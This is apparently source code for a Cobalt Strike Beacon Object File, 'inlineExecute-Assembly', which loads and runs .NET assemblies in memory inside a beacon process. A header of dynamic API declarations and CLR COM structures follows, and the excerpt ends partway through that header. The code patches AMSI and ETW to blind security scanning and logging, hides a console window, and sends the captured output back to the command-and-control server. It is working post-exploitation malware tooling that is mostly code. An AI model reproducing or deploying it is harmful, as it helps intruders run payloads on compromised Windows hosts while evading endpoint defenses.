/*Check Console Exists*/
|
||||
static BOOL consoleExists(void) {//https://www.devever.net/~hl/win32con
|
||||
_GetConsoleWindow GetConsoleWindow = (_GetConsoleWindow) GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetConsoleWindow");
|
||||
return !!GetConsoleWindow();
|
||||
}
|
||||
|
||||
/*BOF Entry Point*/
|
||||
void go(char* args, int length) {//Executes .NET assembly in memory
|
||||
|
||||
//Declare beacon parser variables
|
||||
datap parser;
|
||||
BeaconDataParse(&parser, args, length);
|
||||
char* appDomain = NULL;
|
||||
char* assemblyArguments = NULL;
|
||||
char* pipeName = NULL;
|
||||
char* slotName = NULL;
|
||||
BOOL amsi = 0;
|
||||
BOOL etw = 0;
|
||||
BOOL revertETW = 0;
|
||||
BOOL mailSlot = 0;
|
||||
ULONG entryPoint = 1;
|
||||
size_t assemblyByteLen = 0;
|
||||
|
||||
//Extract data sent
|
||||
appDomain = BeaconDataExtract(&parser, NULL);
|
||||
amsi = BeaconDataInt(&parser);
|
||||
etw = BeaconDataInt(&parser);
|
||||
revertETW = BeaconDataInt(&parser);
|
||||
mailSlot = BeaconDataInt(&parser);
|
||||
entryPoint = BeaconDataInt(&parser);
|
||||
slotName = BeaconDataExtract(&parser, NULL);
|
||||
pipeName = BeaconDataExtract(&parser, NULL);
|
||||
assemblyArguments = BeaconDataExtract(&parser, NULL);
|
||||
assemblyByteLen = BeaconDataInt(&parser);
|
||||
char* assemblyBytes = BeaconDataExtract(&parser, NULL);
|
||||
|
||||
//Create slot and pipe names
|
||||
SIZE_T pipeNameLen = MSVCRT$strlen(pipeName);
|
||||
char* pipePath = MSVCRT$malloc(pipeNameLen + 10);
|
||||
MSVCRT$memset(pipePath, 0, pipeNameLen + 10);
|
||||
MSVCRT$memcpy(pipePath, "\\\\.\\pipe\\", 9 );
|
||||
MSVCRT$memcpy(pipePath+9, pipeName, pipeNameLen+1 );
|
||||
|
||||
SIZE_T slotNameLen = MSVCRT$strlen(slotName);
|
||||
char* slotPath = MSVCRT$malloc(slotNameLen + 14);
|
||||
MSVCRT$memset(slotPath, 0, slotNameLen + 14);
|
||||
MSVCRT$memcpy(slotPath, "\\\\.\\mailslot\\", 13 );
|
||||
MSVCRT$memcpy(slotPath+13, slotName, slotNameLen+1 );
|
||||
|
||||
//Declare other variables
|
||||
HRESULT hr = NULL;
|
||||
ICLRMetaHost* pClrMetaHost = NULL;//done
|
||||
ICLRRuntimeInfo* pClrRuntimeInfo = NULL;//done
|
||||
ICorRuntimeHost* pICorRuntimeHost = NULL;
|
||||
IUnknown* pAppDomainThunk = NULL;
|
||||
AppDomain* pAppDomain = NULL;
|
||||
Assembly* pAssembly = NULL;
|
||||
MethodInfo* pMethodInfo = NULL;
|
||||
VARIANT vtPsa = { 0 };
|
||||
SAFEARRAYBOUND rgsabound[1] = { 0 };
|
||||
wchar_t* wAssemblyArguments = NULL;
|
||||
wchar_t* wAppDomain = NULL;
|
||||
wchar_t* wNetVersion = NULL;
|
||||
LPWSTR* argumentsArray = NULL;
|
||||
int argumentCount = 0;
|
||||
HANDLE stdOutput;
|
||||
HANDLE stdError;
|
||||
HANDLE mainHandle;
|
||||
HANDLE hFile;
|
||||
size_t wideSize = 0;
|
||||
size_t wideSize2 = 0;
|
||||
BOOL success = 1;
|
||||
size_t size = 65535;
|
||||
char* returnData = (char*)intAlloc(size);
|
||||
memset(returnData, 0, size);
|
||||
|
||||
/*Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] appdomain = %s\n", appDomain);//Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] amsi = %d\n", amsi);//Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] etw = %d\n", etw);//Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] revertETW = %d\n", revertETW);//Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] mailSlot = %d\n", mailSlot);//Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] entryPoint = %d\n", entryPoint);//Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] mailSlot name = %s\n", slotName);//Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] Pipe name = %s\n", pipeName);//Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] pipePath name = %s\n", pipePath);//Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] mailslot Path name = %s\n", slotPath);//Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] assemblyArguments = %s\n", assemblyArguments);//Debug Only
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] assemblyByteLen = %d\n", assemblyByteLen);//Debug Only
|
||||
*/
|
||||
|
||||
//Determine .NET assemblie version
|
||||
if(FindVersion((void*)assemblyBytes, assemblyByteLen))
|
||||
{
|
||||
wNetVersion = L"v4.0.30319";
|
||||
}
|
||||
else
|
||||
{
|
||||
wNetVersion = L"v2.0.50727";
|
||||
}
|
||||
|
||||
//Convert assemblyArguments to wide string wAssemblyArguments to pass to loaded .NET assmebly
|
||||
size_t convertedChars = 0;
|
||||
wideSize = MSVCRT$strlen(assemblyArguments) + 1;
|
||||
wAssemblyArguments = (wchar_t*)MSVCRT$malloc(wideSize * sizeof(wchar_t));
|
||||
MSVCRT$mbstowcs_s(&convertedChars, wAssemblyArguments, wideSize, assemblyArguments, _TRUNCATE);
|
||||
|
||||
//Convert appDomain to wide string wAppDomain to pass to CreateDomain
|
||||
size_t convertedChars2 = 0;
|
||||
wideSize2 = MSVCRT$strlen(appDomain) + 1;
|
||||
wAppDomain = (wchar_t*)MSVCRT$malloc(wideSize2 * sizeof(wchar_t));
|
||||
MSVCRT$mbstowcs_s(&convertedChars2, wAppDomain, wideSize2, appDomain, _TRUNCATE);
|
||||
|
||||
//Get an array of arguments so arugements can be passed to .NET assembly
|
||||
argumentsArray = SHELL32$CommandLineToArgvW(wAssemblyArguments, &argumentCount);
|
||||
|
||||
//Create an array of strings that will be used to hold our arguments -> needed for Main(String[] args)
|
||||
vtPsa.vt = (VT_ARRAY | VT_BSTR);
|
||||
vtPsa.parray = OLEAUT32$SafeArrayCreateVector(VT_BSTR, 0, argumentCount);
|
||||
|
||||
for (long i = 0; i < argumentCount; i++)
|
||||
{
|
||||
//Insert the string from argumentsArray[i] into the safearray
|
||||
OLEAUT32$SafeArrayPutElement(vtPsa.parray, &i, OLEAUT32$SysAllocString(argumentsArray[i]));
|
||||
}
|
||||
|
||||
//Break ETW
|
||||
if (etw != 0 || revertETW != 0) {
|
||||
success = patchETW(0);
|
||||
|
||||
if (success != 1) {
|
||||
|
||||
//If patching ETW fails exit gracefully
|
||||
BeaconPrintf(CALLBACK_ERROR , "Patching ETW failed. Try running without patching ETW");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
//Start CLR
|
||||
success = StartCLR((LPCWSTR)wNetVersion, &pClrMetaHost, &pClrRuntimeInfo, &pICorRuntimeHost);
|
||||
|
||||
//If starting CLR fails exit gracefully
|
||||
if (success != 1) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (mailSlot != 0) {
|
||||
|
||||
//Create Mailslot
|
||||
success = MakeSlot(slotPath, &mainHandle);
|
||||
|
||||
//Get a handle to our pipe or mailslot
|
||||
hFile = KERNEL32$CreateFileA(slotPath, GENERIC_WRITE, FILE_SHARE_READ, (LPSECURITY_ATTRIBUTES)NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE)NULL);
|
||||
}
|
||||
else {
|
||||
|
||||
//Create named pipe
|
||||
_CreateNamedPipeA CreateNamedPipeA = (_CreateNamedPipeA) GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateNamedPipeA");
|
||||
mainHandle = CreateNamedPipeA(pipePath, PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, PIPE_TYPE_MESSAGE, PIPE_UNLIMITED_INSTANCES, 65535, 65535, 0, NULL);
|
||||
|
||||
//Get a handle to our previously created named pipe
|
||||
hFile = KERNEL32$CreateFileA(pipePath, GENERIC_WRITE, FILE_SHARE_READ, (LPSECURITY_ATTRIBUTES)NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE)NULL);
|
||||
}
|
||||
|
||||
//Attach or create console
|
||||
BOOL frConsole = 0;
|
||||
BOOL attConsole = 0;
|
||||
attConsole = consoleExists();
|
||||
|
||||
if (attConsole != 1)
|
||||
{
|
||||
frConsole = 1;
|
||||
_AllocConsole AllocConsole = (_AllocConsole) GetProcAddress(GetModuleHandleA("kernel32.dll"), "AllocConsole");
|
||||
_GetConsoleWindow GetConsoleWindow = (_GetConsoleWindow) GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetConsoleWindow");
|
||||
AllocConsole();
|
||||
|
||||
//Hide Console Window
|
||||
HINSTANCE hinst = LoadLibrary("user32.dll");
|
||||
_ShowWindow ShowWindow = (_ShowWindow)GetProcAddress(hinst, "ShowWindow");
|
||||
HWND wnd = GetConsoleWindow();
|
||||
if (wnd)
|
||||
ShowWindow(wnd, SW_HIDE);
|
||||
}
|
||||
|
||||
//Get current stdout handle so we can revert stdout after we finish
|
||||
_GetStdHandle GetStdHandle = (_GetStdHandle) GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetStdHandle");
|
||||
stdOutput = GetStdHandle(((DWORD)-11));
|
||||
|
||||
//Set stdout to our newly created named pipe or mail slot
|
||||
_SetStdHandle SetStdHandle = (_SetStdHandle) GetProcAddress(GetModuleHandleA("kernel32.dll"), "SetStdHandle");
|
||||
success = SetStdHandle(((DWORD)-11), hFile);
|
||||
|
||||
//Create our AppDomain
|
||||
hr = pICorRuntimeHost->lpVtbl->CreateDomain(pICorRuntimeHost, (LPCWSTR)wAppDomain, NULL, &pAppDomainThunk);
|
||||
hr = pAppDomainThunk->lpVtbl->QueryInterface(pAppDomainThunk, &xIID_AppDomain, (VOID**)&pAppDomain);
|
||||
|
||||
//Patch amsi
|
||||
if (amsi != 0) {
|
||||
success = patchAMSI();
|
||||
|
||||
//If patching AMSI fails exit gracefully
|
||||
if (success != 1) {
|
||||
BeaconPrintf(CALLBACK_ERROR, "Patching AMSI failed. Try running without patching AMSI and using obfuscation");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
//Prep SafeArray
|
||||
rgsabound[0].cElements = assemblyByteLen;
|
||||
rgsabound[0].lLbound = 0;
|
||||
SAFEARRAY* pSafeArray = OLEAUT32$SafeArrayCreate(VT_UI1, 1, rgsabound);
|
||||
void* pvData = NULL;
|
||||
hr = OLEAUT32$SafeArrayAccessData(pSafeArray, &pvData);
|
||||
|
||||
//Copy our assembly bytes to pvData
|
||||
MSVCRT$memcpy(pvData, assemblyBytes, assemblyByteLen);
|
||||
|
||||
hr = OLEAUT32$SafeArrayUnaccessData(pSafeArray);
|
||||
|
||||
//Prep AppDomain and EntryPoint
|
||||
hr = pAppDomain->lpVtbl->Load_3(pAppDomain, pSafeArray, &pAssembly);
|
||||
if (hr != S_OK) {
|
||||
//If AppDomain fails to load fail gracefully
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] Process refusing to load AppDomain of %ls CLR version. Try running an assembly that requires a differnt CLR version.\n", wNetVersion);
|
||||
return;
|
||||
}
|
||||
hr = pAssembly->lpVtbl->EntryPoint(pAssembly, &pMethodInfo);
|
||||
if (hr != S_OK) {
|
||||
//If EntryPoint fails to load fail gracefully
|
||||
BeaconPrintf(CALLBACK_ERROR , "[-] Process refusing to find entry point of assembly.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
VARIANT retVal;
|
||||
ZeroMemory(&retVal, sizeof(VARIANT));
|
||||
VARIANT obj;
|
||||
ZeroMemory(&obj, sizeof(VARIANT));
|
||||
obj.vt = VT_NULL;
|
||||
|
||||
//Change cElement to the number of Main arguments
|
||||
SAFEARRAY* psaStaticMethodArgs = OLEAUT32$SafeArrayCreateVector(VT_VARIANT, 0, (ULONG)entryPoint);//Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main()
|
||||
|
||||
//Insert an array of BSTR into the VT_VARIANT psaStaticMethodArgs array
|
||||
long idx[1] = { 0 };
|
||||
OLEAUT32$SafeArrayPutElement(psaStaticMethodArgs, idx, &vtPsa);
|
||||
|
||||
//Invoke our .NET Method
|
||||
hr = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo, obj, psaStaticMethodArgs, &retVal);
|
||||
|
||||
if (mailSlot != 0) {
|
||||
//Read from our mailslot
|
||||
success = ReadSlot(returnData, &mainHandle);
|
||||
}
|
||||
else {
|
||||
//Read from named pipe
|
||||
DWORD bytesToRead = 65535;
|
||||
DWORD bytesRead = 0;
|
||||
success = KERNEL32$ReadFile(mainHandle, (LPVOID)returnData, bytesToRead, &bytesRead, NULL);
|
||||
}
|
||||
|
||||
//Send .NET assembly output back to CS
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "\n\n%s\n", returnData);
|
||||
|
||||
//Close handles
|
||||
_CloseHandle CloseHandle = (_CloseHandle) GetProcAddress(GetModuleHandleA("kernel32.dll"), "CloseHandle");
|
||||
CloseHandle(mainHandle);
|
||||
CloseHandle(hFile);
|
||||
|
||||
//Revert stdout back to original handles
|
||||
success = SetStdHandle(((DWORD)-11), stdOutput);
|
||||
|
||||
//Clean up
|
||||
OLEAUT32$SafeArrayDestroy(pSafeArray);
|
||||
OLEAUT32$VariantClear(&retVal);
|
||||
OLEAUT32$VariantClear(&obj);
|
||||
OLEAUT32$VariantClear(&vtPsa);
|
||||
|
||||
if (NULL != psaStaticMethodArgs) {
|
||||
OLEAUT32$SafeArrayDestroy(psaStaticMethodArgs);
|
||||
|
||||
psaStaticMethodArgs = NULL;
|
||||
}
|
||||
if (pMethodInfo != NULL) {
|
||||
|
||||
pMethodInfo->lpVtbl->Release(pMethodInfo);
|
||||
pMethodInfo = NULL;
|
||||
}
|
||||
if (pAssembly != NULL) {
|
||||
|
||||
pAssembly->lpVtbl->Release(pAssembly);
|
||||
pAssembly = NULL;
|
||||
}
|
||||
if (pAppDomain != NULL) {
|
||||
|
||||
pAppDomain->lpVtbl->Release(pAppDomain);
|
||||
pAppDomain = NULL;
|
||||
}
|
||||
if (pAppDomainThunk != NULL) {
|
||||
|
||||
pAppDomainThunk->lpVtbl->Release(pAppDomainThunk);
|
||||
}
|
||||
if (pICorRuntimeHost != NULL)
|
||||
{
|
||||
(pICorRuntimeHost)->lpVtbl->UnloadDomain(pICorRuntimeHost, pAppDomainThunk);
|
||||
(pICorRuntimeHost) = NULL;
|
||||
}
|
||||
if (pClrRuntimeInfo != NULL)
|
||||
{
|
||||
(pClrRuntimeInfo)->lpVtbl->Release(pClrRuntimeInfo);
|
||||
(pClrRuntimeInfo) = NULL;
|
||||
}
|
||||
if (pClrMetaHost != NULL)
|
||||
{
|
||||
(pClrMetaHost)->lpVtbl->Release(pClrMetaHost);
|
||||
(pClrMetaHost) = NULL;
|
||||
}
|
||||
|
||||
//Free console only if we attached one
|
||||
if (frConsole != 0) {
|
||||
_FreeConsole FreeConsole = (_FreeConsole) GetProcAddress(GetModuleHandleA("kernel32.dll"), "FreeConsole");
|
||||
success = FreeConsole();
|
||||
}
|
||||
|
||||
//Revert ETW if chosen
|
||||
if (revertETW != 0) {
|
||||
success = patchETW(revertETW);
|
||||
|
||||
if (success != 1) {
|
||||
|
||||
BeaconPrintf(CALLBACK_ERROR , "Reverting ETW back failed");
|
||||
}
|
||||
}
|
||||
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "[+] inlineExecute-Assembly Finished\n");
|
||||
}
|
||||
@@ -0,0 +1,981 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
/*BOF Defs*/
|
||||
#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
|
||||
|
||||
//MSVCRT
|
||||
WINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);
|
||||
WINBASEAPI void* __cdecl MSVCRT$memcpy(void* __restrict _Dst, const void* __restrict _Src, size_t _MaxCount);
|
||||
WINBASEAPI void __cdecl MSVCRT$memset(void* dest, int c, size_t count);
|
||||
WINBASEAPI int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2);
|
||||
WINBASEAPI SIZE_T WINAPI MSVCRT$strlen(const char* str);
|
||||
WINBASEAPI int __cdecl MSVCRT$_snprintf(char* s, size_t n, const char* fmt, ...);
|
||||
WINBASEAPI errno_t __cdecl MSVCRT$mbstowcs_s(size_t* pReturnValue, wchar_t* wcstr, size_t sizeInWords, const char* mbstr, size_t count);
|
||||
WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
|
||||
WINBASEAPI char* WINAPI MSVCRT$_strlwr(char * str);
|
||||
WINBASEAPI char* WINAPI MSVCRT$strrchr(char * str);
|
||||
WINBASEAPI int __cdecl MSVCRT$_open_osfhandle (intptr_t osfhandle, int flags);
|
||||
WINBASEAPI int __cdecl MSVCRT$_dup2( int fd1, int fd2 );
|
||||
WINBASEAPI int __cdecl MSVCRT$_close(int fd);
|
||||
//KERNEL32
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
|
||||
WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
|
||||
WINBASEAPI int WINAPI KERNEL32$lstrlenA(LPCSTR lpString);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$CreateMailslotA(LPCSTR lpName, DWORD nMaxMessageSize, DWORD lReadTimeout, LPSECURITY_ATTRIBUTES lpSecurityAttributes);
|
||||
WINBASEAPI BOOL WINAPI KERNEL32$GetMailslotInfo(HANDLE hMailslot, LPDWORD lpMaxMessageSize, LPDWORD lpNextSize, LPDWORD lpMessageCount, LPDWORD lpReadTimeout);
|
||||
WINBASEAPI BOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName);
|
||||
DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes);
|
||||
DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (PVOID, DWORD, DWORD, PDWORD);
|
||||
//SHELL32
|
||||
WINBASEAPI LPWSTR* WINAPI SHELL32$CommandLineToArgvW(LPCWSTR lpCmdLine, int* pNumArgs);
|
||||
//MSCOREE
|
||||
WINBASEAPI HRESULT WINAPI MSCOREE$CLRCreateInstance(REFCLSID clsid, REFIID riid, LPVOID* ppInterface);
|
||||
//OLEAUT32
|
||||
WINBASEAPI SAFEARRAY* WINAPI OLEAUT32$SafeArrayCreateVector(VARTYPE vt, LONG lLbound, ULONG cElements);
|
||||
WINBASEAPI SAFEARRAY* WINAPI OLEAUT32$SafeArrayCreate(VARTYPE vt, UINT cDims, SAFEARRAYBOUND* rgsabound);
|
||||
WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayAccessData(SAFEARRAY* psa, void HUGEP** ppvData);
|
||||
WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayUnaccessData(SAFEARRAY* psa);
|
||||
WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayPutElement(SAFEARRAY* psa, LONG* rgIndices, void* pv);
|
||||
WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY* psa);
|
||||
WINBASEAPI HRESULT WINAPI OLEAUT32$VariantClear(VARIANTARG* pvarg);
|
||||
WINBASEAPI BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR* psz);
|
||||
|
||||
#define intZeroMemory(addr,size) memset((addr),0,size)
|
||||
#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
|
||||
#define memset MSVCRT$memset
|
||||
#define stdout (__acrt_iob_func(1))
|
||||
#define STATUS_SUCCESS 0
|
||||
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
|
||||
|
||||
/*GetProcAddess Pointers*/
|
||||
typedef DWORD (WINAPI* _GetCurrentProcessId) (void);
|
||||
typedef BOOL (WINAPI* _AttachConsole) (DWORD dwProcessId);
|
||||
typedef BOOL (WINAPI* _AllocConsole) (void);
|
||||
typedef HWND (WINAPI* _GetConsoleWindow) (void);
|
||||
typedef BOOL (WINAPI* _ShowWindow) (HWND hWnd, int nCmdShow);
|
||||
typedef BOOL (WINAPI* _FreeConsole) (void);
|
||||
typedef BOOL (WINAPI* _SetStdHandle) (DWORD nStdHandle, HANDLE hHandle);
|
||||
typedef HANDLE (WINAPI* _GetStdHandle) (DWORD nStdHandle);
|
||||
typedef BOOL (WINAPI* _CloseHandle) (HANDLE hObject);
|
||||
typedef _Post_equals_last_error_ DWORD (WINAPI* _GetLastError) (void);
|
||||
typedef int (WINAPI* _WideCharToMultiByte) (UINT CodePage, DWORD dwFlags, _In_NLS_string_(cchWideChar)LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);
|
||||
typedef LPVOID (WINAPI* _CoTaskMemAlloc) (SIZE_T cb);
|
||||
typedef LPVOID (WINAPI* _CoTaskMemFree) (_Frees_ptr_opt_ LPVOID pv);
|
||||
typedef HANDLE (WINAPI* _CreateNamedPipeA) (LPCSTR lpName, DWORD dwOpenMode, DWORD dwPipeMode, DWORD nMaxInstances, DWORD nOutBufferSize, DWORD nInBufferSize, DWORD nDefaultTimeOut, LPSECURITY_ATTRIBUTES lpSecurityAttributes);
|
||||
typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);//NtWriteVirtualMemory
|
||||
typedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)(HANDLE, PVOID, PULONG, ULONG, PULONG);//NtProtectVirtualMemory
|
||||
|
||||
/*CLR GUIDS, Stucts -> Mostly from https://github.com/TheWover/donut*/
|
||||
static GUID xIID_AppDomain = {
|
||||
0x05F696DC, 0x2B29, 0x3663, {0xAD, 0x8B, 0xC4,0x38, 0x9C, 0xF2, 0xA7, 0x13} };
|
||||
|
||||
static GUID xCLSID_CLRMetaHost = {
|
||||
0x9280188d, 0xe8e, 0x4867, {0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde} };
|
||||
|
||||
static GUID xIID_ICLRMetaHost = {
|
||||
0xD332DB9E, 0xB9B3, 0x4125, {0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16} };
|
||||
|
||||
static GUID xIID_ICLRRuntimeInfo = {
|
||||
0xBD39D1D2, 0xBA2F, 0x486a, {0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91} };
|
||||
|
||||
static GUID xIID_ICorRuntimeHost = {
|
||||
0xcb2f6722, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} };
|
||||
|
||||
static GUID xCLSID_CorRuntimeHost = {
|
||||
0xcb2f6723, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e} };
|
||||
|
||||
|
||||
GUID xIID_IUnknown;
|
||||
GUID xIID_IDispatch;
|
||||
|
||||
//GUID required to load .NET assemblies
|
||||
GUID xCLSID_CLRMetaHost;
|
||||
GUID xIID_ICLRMetaHost;
|
||||
GUID xIID_ICLRRuntimeInfo;
|
||||
GUID xCLSID_CorRuntimeHost;
|
||||
GUID xIID_ICorRuntimeHost;
|
||||
GUID xIID_AppDomain;
|
||||
|
||||
typedef struct _ICLRMetaHost ICLRMetaHost;
|
||||
typedef struct _ICLRRuntimeInfo ICLRRuntimeInfo;
|
||||
typedef struct _ICorRuntimeHost ICorRuntimeHost;
|
||||
typedef struct _ICorConfiguration ICorConfiguration;
|
||||
typedef struct _IGCThreadControl IGCThreadControl;
|
||||
typedef struct _IGCHostControl IGCHostControl;
|
||||
typedef struct _IDebuggerThreadControl IDebuggerThreadControl;
|
||||
typedef struct _AppDomain IAppDomain;
|
||||
typedef struct _Assembly IAssembly;
|
||||
typedef struct _Type IType;
|
||||
typedef struct _Binder IBinder;
|
||||
typedef struct _MethodInfo IMethodInfo;
|
||||
|
||||
typedef void* HDOMAINENUM;
|
||||
|
||||
typedef HRESULT(__stdcall* CLRCreateInstanceFnPtr)(
|
||||
REFCLSID clsid,
|
||||
REFIID riid,
|
||||
LPVOID* ppInterface);
|
||||
|
||||
typedef HRESULT(__stdcall* CreateInterfaceFnPtr)(
|
||||
REFCLSID clsid,
|
||||
REFIID riid,
|
||||
LPVOID* ppInterface);
|
||||
|
||||
|
||||
typedef HRESULT(__stdcall* CallbackThreadSetFnPtr)(void);
|
||||
|
||||
typedef HRESULT(__stdcall* CallbackThreadUnsetFnPtr)(void);
|
||||
|
||||
typedef void(__stdcall* RuntimeLoadedCallbackFnPtr)(
|
||||
ICLRRuntimeInfo* pRuntimeInfo,
|
||||
CallbackThreadSetFnPtr pfnCallbackThreadSet,
|
||||
CallbackThreadUnsetFnPtr pfnCallbackThreadUnset);
|
||||
|
||||
#undef DUMMY_METHOD
|
||||
#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IBinder *This)
|
||||
|
||||
typedef struct _BinderVtbl {
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
IBinder* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */ void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
IBinder* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
IBinder* This);
|
||||
|
||||
DUMMY_METHOD(GetTypeInfoCount);
|
||||
DUMMY_METHOD(GetTypeInfo);
|
||||
DUMMY_METHOD(GetIDsOfNames);
|
||||
DUMMY_METHOD(Invoke);
|
||||
DUMMY_METHOD(ToString);
|
||||
DUMMY_METHOD(Equals);
|
||||
DUMMY_METHOD(GetHashCode);
|
||||
DUMMY_METHOD(GetType);
|
||||
DUMMY_METHOD(BindToMethod);
|
||||
DUMMY_METHOD(BindToField);
|
||||
DUMMY_METHOD(SelectMethod);
|
||||
DUMMY_METHOD(SelectProperty);
|
||||
DUMMY_METHOD(ChangeType);
|
||||
DUMMY_METHOD(ReorderArgumentArray);
|
||||
} BinderVtbl;
|
||||
|
||||
typedef struct _Binder {
|
||||
BinderVtbl* lpVtbl;
|
||||
} Binder;
|
||||
|
||||
#undef DUMMY_METHOD
|
||||
#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAppDomain *This)
|
||||
|
||||
typedef struct _AppDomainVtbl {
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
IAppDomain* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */ void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
IAppDomain* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
IAppDomain* This);
|
||||
|
||||
DUMMY_METHOD(GetTypeInfoCount);
|
||||
DUMMY_METHOD(GetTypeInfo);
|
||||
DUMMY_METHOD(GetIDsOfNames);
|
||||
DUMMY_METHOD(Invoke);
|
||||
|
||||
DUMMY_METHOD(ToString);
|
||||
DUMMY_METHOD(Equals);
|
||||
DUMMY_METHOD(GetHashCode);
|
||||
DUMMY_METHOD(GetType);
|
||||
DUMMY_METHOD(InitializeLifetimeService);
|
||||
DUMMY_METHOD(GetLifetimeService);
|
||||
DUMMY_METHOD(Evidence);
|
||||
DUMMY_METHOD(add_DomainUnload);
|
||||
DUMMY_METHOD(remove_DomainUnload);
|
||||
DUMMY_METHOD(add_AssemblyLoad);
|
||||
DUMMY_METHOD(remove_AssemblyLoad);
|
||||
DUMMY_METHOD(add_ProcessExit);
|
||||
DUMMY_METHOD(remove_ProcessExit);
|
||||
DUMMY_METHOD(add_TypeResolve);
|
||||
DUMMY_METHOD(remove_TypeResolve);
|
||||
DUMMY_METHOD(add_ResourceResolve);
|
||||
DUMMY_METHOD(remove_ResourceResolve);
|
||||
DUMMY_METHOD(add_AssemblyResolve);
|
||||
DUMMY_METHOD(remove_AssemblyResolve);
|
||||
DUMMY_METHOD(add_UnhandledException);
|
||||
DUMMY_METHOD(remove_UnhandledException);
|
||||
DUMMY_METHOD(DefineDynamicAssembly);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_2);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_3);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_4);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_5);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_6);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_7);
|
